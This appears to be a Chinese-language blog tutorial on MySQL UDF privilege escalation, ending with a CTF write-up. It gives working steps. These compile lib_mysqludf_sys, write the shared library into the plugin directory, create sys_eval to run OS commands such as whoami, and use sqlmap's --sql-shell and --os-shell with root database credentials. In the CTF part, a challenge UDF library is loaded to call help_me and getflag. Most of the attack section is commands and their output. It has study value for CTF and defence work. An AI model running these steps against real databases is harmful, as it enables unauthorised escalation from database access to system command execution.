mysql提权

UDF提权是利用MySQL的自定义函数功能，将MySQL账号转化为系统system权限

下载lib_mysqludf_sys程序

github：https://github.com/mysqludf/lib_mysqludf_sys

编译获取lib_mysqludf_sys.so文件

1	$ gcc -DMYSQL_DYNAMIC_PLUGIN -fPIC -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so

如果出现缺少文件的报错
1
$ sudo apt-get install libmysql++-dev

利用思路

先查看需要插入的路径
1
mysql> show variables like '%plugin%';

将下载的lib_mysqludf_sys.so文件以16进制写入到plugin_dir路径中，但是ubuntu有一个安全路径，只能写到那个里面，要是调用的话只能是在plugin这个路径下调用，所以我直接复制粘贴进去了。。。

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select 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into dumpfile '/usr/lib/mysql/plugin/mysqludf.so'

ERROR 1 (HY000): Can't create/write to file '/usr/lib/mysql/plugin/mysqludf.so' (Errcode: 13 - Permission denied)

创建需要用的函数

1	mysql> create function sys_eval returns string soname 'mysqludf.so';

调用函数

mysql> select sys_eval('whoami');

mysql> select * from func;

+-----------------------+-----+---------------------+----------+

| name                  | ret | dl                  | type    |

+-----------------------+-----+---------------------+----------+

| sys_eval              |  0 | mysqludf.so        | function |

+-----------------------+-----+---------------------+----------+

1 rows in set (0.00 sec)

删除函数
1
mysql> drop function sys_eval;

查看当前用户权限：

1	select * from mysql.user where user=substring_index(user(),'@',1);

@@version_compile_os展示MySQL结构，@@version_compile_machine展示操作系统的结构：

1	select @@version_compile_os, @@version_compile_machine;

尝试使用sqlmap提权。

(1)sqlmap通过root的账号和密码连接上远程的数据库
(2)sqlmap将udf文件夹下对应系统平台的64位或者32位的动态链接库文件上传到远程数据库的mysql/plugin/目录下
(3)sqlmap用过已经上传的动态链接库文件来调用system函数来执行用户输入的命令

PS:想要在win下链接外部数据库，需要先切换到bin目录下再链接

1 2	G:\wamp\wamp\bin\mysql\mysql5.6.17\bin>mysql -h 192.168.8.129 -u root -p G:\python2\sqlmap>python sqlmap.py -d mysql://root:@127.0.0.1:3306/test --sql-shell

通过这个函数可以查看路径，然后将上面提到的文件传入到里面，但是将文件写进去的命令我用不成，不知道为什么
1
sql-shell> select @@plugin_dir;

感觉os-shell这个很强，可以直接用，不用上传文件

1	G:\python2\sqlmap>python sqlmap.py -d mysql://root:@127.0.0.1:3306/test --os-shell

然后选择是多少位的
1
2
os-shell> whoami
os-shell> ipconfig

PS:这两个命令都有回显，而且也是正确的，除了汉字没出来。。

一道相关ctf

在一道ctf题中，遇到的和这个有关的：https://dn.jarvisoj.com/challengefiles/udf.so.02f8981200697e5eeb661e64797fc172

解题思路

udf.so导入mysql。
cp udf.so.02f8981200697e5eeb661e64797fc172 /usr/lib/mysql/plugin

然后进到/usr/lib/mysql/plugin目录wget一下

1 2	cd /usr/lib/mysql/plugin sudo wget https://dn.jarvisoj.com/challengefiles/udf.so.02f8981200697e5eeb661e64797fc172

然后进入mysql之中，根据提示可以利用help_me函数，利用如下语句。

1	mysql> create function help_me returns string soname 'udf.so.02f8981200697e5eeb661e64797fc172';

然后我们查看一下
1
select help_me();

说答案在getflag中，同样我们构造getflag函数

1	mysql> create function getflag returns string soname 'udf.so.02f8981200697e5eeb661e64797fc172';

然后查看
1
mysql>select getflag();